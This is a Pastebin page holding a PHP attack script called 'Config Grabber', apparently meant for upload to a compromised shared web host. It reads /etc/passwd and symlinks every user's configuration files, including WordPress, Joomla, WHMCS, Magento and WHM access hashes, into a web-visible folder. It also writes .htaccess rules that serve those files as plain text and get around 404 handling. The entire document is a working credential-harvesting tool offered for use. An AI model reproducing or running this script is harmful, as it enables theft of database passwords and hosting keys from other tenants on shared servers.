RintoMuhamad

Config Grabber ( Symlink Funtion )

Jul 11th, 2017
802
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.39 KB | None | 0 0
  1. <?php
  2. ###########################################################
  3. #Config Grabber (Use Symlink Function + Bypass 404)       #
  4. #Con7ext-Security.com                                     #
  5. #Thanks: Xai Syndicate Team , 0x1999 , XnonGermx , And You#
  6. ###########################################################
  7. if($_POST['asu']){
  8. @mkdir("con7ext_sym404", 0777);
  9. @chdir("con7ext_sym404");
  10. @symlink("/","rintoar.txt");
  11. $htaccess="Options Indexes FollowSymLinks
  12. DirectoryIndex con7ext.htm
  13. AddType text/plain .php
  14. AddHandler text/plain .php
  15. Satisfy Any
  16. IndexIgnore *.txt404
  17. RewriteEngine On
  18. RewriteCond %{REQUEST_FILENAME} ^.*con7ext_sym404 [NC]
  19. RewriteRule \.txt$ %{REQUEST_URI}404 [L,R=302.NC]";
  20. @file_put_contents(".htaccess",$htaccess);
  21. $passwd= $_POST['etcpasswd'];
  22. $homes = $_POST['homess'];
  23. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  24. foreach($user_config[1] as $user_con7ext) {
  25. $grab_config = array(
  26. "/$homes/$user_con7ext/.accesshash" => "WHM-accesshash",
  27. "/$homes/$user_con7ext/public_html/config/koneksi.php" => "Lokomedia",
  28. "/$homes/$user_con7ext/public_html/forum/config.php" => "phpBB",
  29. "/$homes/$user_con7ext/public_html/sites/default/settings.php" => "Drupal",
  30. "/$homes/$user_con7ext/public_html/config/settings.inc.php" => "PrestaShop",
  31. "/$homes/$user_con7ext/public_html/app/etc/local.xml" => "Magento",
  32. "/$homes/$user_con7ext/public_html/admin/config.php" => "OpenCart",
  33. "/$homes/$user_con7ext/public_html/application/config/database.php" => "Ellislab",
  34. "/$homes/$user_con7ext/public_html/vb/includes/config.php" => "Vbulletin",
  35. "/$homes/$user_con7ext/public_html/includes/config.php" => "Vbulletin",
  36. "/$homes/$user_con7ext/public_html/forum/includes/config.php" => "Vbulletin",
  37. "/$homes/$user_con7ext/public_html/forums/includes/config.php" => "Vbulletin",
  38. "/$homes/$user_con7ext/public_html/cc/includes/config.php" => "Vbulletin",
  39. "/$homes/$user_con7ext/public_html/inc/config.php" => "MyBB",
  40. "/$homes/$user_con7ext/public_html/includes/configure.php" => "OsCommerce",
  41. "/$homes/$user_con7ext/public_html/shop/includes/configure.php" => "OsCommerce",
  42. "/$homes/$user_con7ext/public_html/os/includes/configure.php" => "OsCommerce",
  43. "/$homes/$user_con7ext/public_html/oscom/includes/configure.php" => "OsCommerce",
  44. "/$homes/$user_con7ext/public_html/products/includes/configure.php" => "OsCommerce",
  45. "/$homes/$user_con7ext/public_html/cart/includes/configure.php" => "OsCommerce",
  46. "/$homes/$user_con7ext/public_html/inc/conf_global.php" => "IPB",
  47. "/$homes/$user_con7ext/public_html/wp-config.php" => "Wordpress",
  48. "/$homes/$user_con7ext/public_html/wp/test/wp-config.php" => "Wordpress",
  49. "/$homes/$user_con7ext/public_html/blog/wp-config.php" => "Wordpress",
  50. "/$homes/$user_con7ext/public_html/beta/wp-config.php" => "Wordpress",
  51. "/$homes/$user_con7ext/public_html/portal/wp-config.php" => "Wordpress",
  52. "/$homes/$user_con7ext/public_html/site/wp-config.php" => "Wordpress",
  53. "/$homes/$user_con7ext/public_html/wp/wp-config.php" => "Wordpress",
  54. "/$homes/$user_con7ext/public_html/WP/wp-config.php" => "Wordpress",
  55. "/$homes/$user_con7ext/public_html/news/wp-config.php" => "Wordpress",
  56. "/$homes/$user_con7ext/public_html/wordpress/wp-config.php" => "Wordpress",
  57. "/$homes/$user_con7ext/public_html/test/wp-config.php" => "Wordpress",
  58. "/$homes/$user_con7ext/public_html/demo/wp-config.php" => "Wordpress",
  59. "/$homes/$user_con7ext/public_html/$homes/wp-config.php" => "Wordpress",
  60. "/$homes/$user_con7ext/public_html/v1/wp-config.php" => "Wordpress",
  61. "/$homes/$user_con7ext/public_html/v2/wp-config.php" => "Wordpress",
  62. "/$homes/$user_con7ext/public_html/press/wp-config.php" => "Wordpress",
  63. "/$homes/$user_con7ext/public_html/new/wp-config.php" => "Wordpress",
  64. "/$homes/$user_con7ext/public_html/blogs/wp-config.php" => "Wordpress",
  65. "/$homes/$user_con7ext/public_html/configuration.php" => "Joomla",
  66. "/$homes/$user_con7ext/public_html/blog/configuration.php" => "Joomla",
  67. "/$homes/$user_con7ext/public_html/submitticket.php" => "^WHMCS",
  68. "/$homes/$user_con7ext/public_html/cms/configuration.php" => "Joomla",
  69. "/$homes/$user_con7ext/public_html/beta/configuration.php" => "Joomla",
  70. "/$homes/$user_con7ext/public_html/portal/configuration.php" => "Joomla",
  71. "/$homes/$user_con7ext/public_html/site/configuration.php" => "Joomla",
  72. "/$homes/$user_con7ext/public_html/main/configuration.php" => "Joomla",
  73. "/$homes/$user_con7ext/public_html/$homes/configuration.php" => "Joomla",
  74. "/$homes/$user_con7ext/public_html/demo/configuration.php" => "Joomla",
  75. "/$homes/$user_con7ext/public_html/test/configuration.php" => "Joomla",
  76. "/$homes/$user_con7ext/public_html/v1/configuration.php" => "Joomla",
  77. "/$homes/$user_con7ext/public_html/v2/configuration.php" => "Joomla",
  78. "/$homes/$user_con7ext/public_html/joomla/configuration.php" => "Joomla",
  79. "/$homes/$user_con7ext/public_html/new/configuration.php" => "Joomla",
  80. "/$homes/$user_con7ext/public_html/WHMCS/submitticket.php" => "WHMCS",
  81. "/$homes/$user_con7ext/public_html/whmcs1/submitticket.php" => "WHMCS",
  82. "/$homes/$user_con7ext/public_html/Whmcs/submitticket.php" => "WHMCS",
  83. "/$homes/$user_con7ext/public_html/whmcs/submitticket.php" => "WHMCS",
  84. "/$homes/$user_con7ext/public_html/whmcs/submitticket.php" => "WHMCS",
  85. "/$homes/$user_con7ext/public_html/WHMC/submitticket.php" => "WHMCS",
  86. "/$homes/$user_con7ext/public_html/Whmc/submitticket.php" => "WHMCS",
  87. "/$homes/$user_con7ext/public_html/whmc/submitticket.php" => "WHMCS",
  88. "/$homes/$user_con7ext/public_html/WHM/submitticket.php" => "WHMCS",
  89. "/$homes/$user_con7ext/public_html/Whm/submitticket.php" => "WHMCS",
  90. "/$homes/$user_con7ext/public_html/whm/submitticket.php" => "WHMCS",
  91. "/$homes/$user_con7ext/public_html/HOST/submitticket.php" => "WHMCS",
  92. "/$homes/$user_con7ext/public_html/Host/submitticket.php" => "WHMCS",
  93. "/$homes/$user_con7ext/public_html/host/submitticket.php" => "WHMCS",
  94. "/$homes/$user_con7ext/public_html/SUPPORTES/submitticket.php" => "WHMCS",
  95. "/$homes/$user_con7ext/public_html/Supportes/submitticket.php" => "WHMCS",
  96. "/$homes/$user_con7ext/public_html/supportes/submitticket.php" => "WHMCS",
  97. "/$homes/$user_con7ext/public_html/domains/submitticket.php" => "WHMCS",
  98. "/$homes/$user_con7ext/public_html/domain/submitticket.php" => "WHMCS",
  99. "/$homes/$user_con7ext/public_html/Hosting/submitticket.php" => "WHMCS",
  100. "/$homes/$user_con7ext/public_html/HOSTING/submitticket.php" => "WHMCS",
  101. "/$homes/$user_con7ext/public_html/hosting/submitticket.php" => "WHMCS",
  102. "/$homes/$user_con7ext/public_html/CART/submitticket.php" => "WHMCS",
  103. "/$homes/$user_con7ext/public_html/Cart/submitticket.php" => "WHMCS",
  104. "/$homes/$user_con7ext/public_html/cart/submitticket.php" => "WHMCS",
  105. "/$homes/$user_con7ext/public_html/ORDER/submitticket.php" => "WHMCS",
  106. "/$homes/$user_con7ext/public_html/Order/submitticket.php" => "WHMCS",
  107. "/$homes/$user_con7ext/public_html/order/submitticket.php" => "WHMCS",
  108. "/$homes/$user_con7ext/public_html/CLIENT/submitticket.php" => "WHMCS",
  109. "/$homes/$user_con7ext/public_html/Client/submitticket.php" => "WHMCS",
  110. "/$homes/$user_con7ext/public_html/client/submitticket.php" => "WHMCS",
  111. "/$homes/$user_con7ext/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
  112. "/$homes/$user_con7ext/public_html/Clientarea/submitticket.php" => "WHMCS",
  113. "/$homes/$user_con7ext/public_html/clientarea/submitticket.php" => "WHMCS",
  114. "/$homes/$user_con7ext/public_html/SUPPORT/submitticket.php" => "WHMCS",
  115. "/$homes/$user_con7ext/public_html/Support/submitticket.php" => "WHMCS",
  116. "/$homes/$user_con7ext/public_html/support/submitticket.php" => "WHMCS",
  117. "/$homes/$user_con7ext/public_html/BILLING/submitticket.php" => "WHMCS",
  118. "/$homes/$user_con7ext/public_html/Billing/submitticket.php" => "WHMCS",
  119. "/$homes/$user_con7ext/public_html/billing/submitticket.php" => "WHMCS",
  120. "/$homes/$user_con7ext/public_html/BUY/submitticket.php" => "WHMCS",
  121. "/$homes/$user_con7ext/public_html/Buy/submitticket.php" => "WHMCS",
  122. "/$homes/$user_con7ext/public_html/buy/submitticket.php" => "WHMCS",
  123. "/$homes/$user_con7ext/public_html/MANAGE/submitticket.php" => "WHMCS",
  124. "/$homes/$user_con7ext/public_html/Manage/submitticket.php" => "WHMCS",
  125. "/$homes/$user_con7ext/public_html/manage/submitticket.php" => "WHMCS",
  126. "/$homes/$user_con7ext/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
  127. "/$homes/$user_con7ext/public_html/ClientSupport/submitticket.php" => "WHMCS",
  128. "/$homes/$user_con7ext/public_html/Clientsupport/submitticket.php" => "WHMCS",
  129. "/$homes/$user_con7ext/public_html/clientsupport/submitticket.php" => "WHMCS",
  130. "/$homes/$user_con7ext/public_html/CHECKOUT/submitticket.php" => "WHMCS",
  131. "/$homes/$user_con7ext/public_html/Checkout/submitticket.php" => "WHMCS",
  132. "/$homes/$user_con7ext/public_html/checkout/submitticket.php" => "WHMCS",
  133. "/$homes/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",
  134. "/$homes/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",
  135. "/$homes/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",
  136. "/$homes/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",
  137. "/$homes/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",
  138. "/$homes/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",
  139. "/$homes/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",
  140. "/$homes/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",
  141. "/$homes/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",
  142. "/$homes/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",
  143. "/$homes/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",
  144. "/$homes/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",
  145. "/$homes/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",
  146. "/$homes/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",
  147. "/$homes/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",
  148. "/$homes/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",
  149. "/$homes/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",
  150. "/$homes/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",
  151. "/$homes/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",
  152. "/$homes/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",
  153. "/$homes/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",
  154. "/$homes/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",
  155. "/$homes/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",
  156. "/$homes/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",
  157. "/$homes/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",
  158. "/$homes/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",
  159. "/$homes/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",
  160. "/$homes/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",
  161. "/$homes/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",
  162. "/$homes/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",
  163. "/$homes/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",
  164. "/$homes/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",
  165. "/$homes/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",
  166. "/$homes/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",
  167. "/$homes/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",
  168. "/$homes/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",
  169. "/$homes/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",
  170. "/$homes/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",
  171. "/$homes/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",
  172. "/$homes/$user_con7ext/public_html/bb-config.php" => "BoxBilling",
  173. "/$homes/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",
  174. "/$homes/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",
  175. "/$homes/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",
  176. "/$homes/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",
  177. "/$homes/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",
  178. "/$homes/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",
  179. "/$homes/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",
  180. "/$homes/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",
  181. "/$homes/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",
  182. "/$homes/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",
  183. "/$homes/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",
  184. "/$homes/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",
  185. "/$homes/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",
  186. "/$homes/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",
  187. "/$homes/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",
  188. "/$homes/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",
  189. "/$homes/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",
  190. "/$homes/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",
  191. "/$homes/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",
  192. "/$homes/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",
  193. "/$homes/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",
  194. "/$homes/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",
  195. "/$homes/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",
  196. "/$homes/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",
  197. "/$homes/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",
  198. "/$homes/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",
  199. "/$homes/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",
  200. "/$homes/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",
  201. "/$homes/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",
  202. "/$homes/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",
  203. "/$homes/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",
  204. "/$homes/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",
  205. "/$homes/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",
  206. "/$homes/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",
  207. "/$homes/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",
  208. "/$homes/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",
  209. "/$homes/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",
  210. "/$homes/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",
  211. "/$homes/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",
  212. "/$homes/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",
  213. "/$homes/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"
  214. );
  215. foreach($grab_config as $config => $nama_config) {
  216. $sym404=symlink($config, $user_con7ext."-".$nama_config.".txt");
  217. if($sym404){
  218. @mkdir($user_con7ext."-".$nama_config.".txt404", 0777);
  219. $htaccess="
  220. Options Indexes FollowSymLinks
  221. DirectoryIndex con7ext.txt
  222. Satisfy Any
  223. ";
  224. @file_put_contents($user_con7ext."-".$nama_config.".txt404/.htaccess",$htaccess);
  225.  
  226. @symlink($config,$user_con7ext."-".$nama_config.".txt404/con7ext.txt");
  227. }
  228. }
  229. }
  230. echo "<center><a href='con7ext_sym404/'>Done...</a>";
  231. }
  232. else{
  233. echo "<center><form method='POST' action=''><textarea name='etcpasswd' rows='20' cols='60'>";
  234. echo include("/etc/passwd");
  235. echo "</textarea><br>";
  236. echo "Home: <input type='text' name='homess' value='home'><br>";
  237. echo "<input type='submit' name='asu' value='Anjing!!'></form><br>";
  238. }
  239. ?>
Add Comment
Please, Sign In to add comment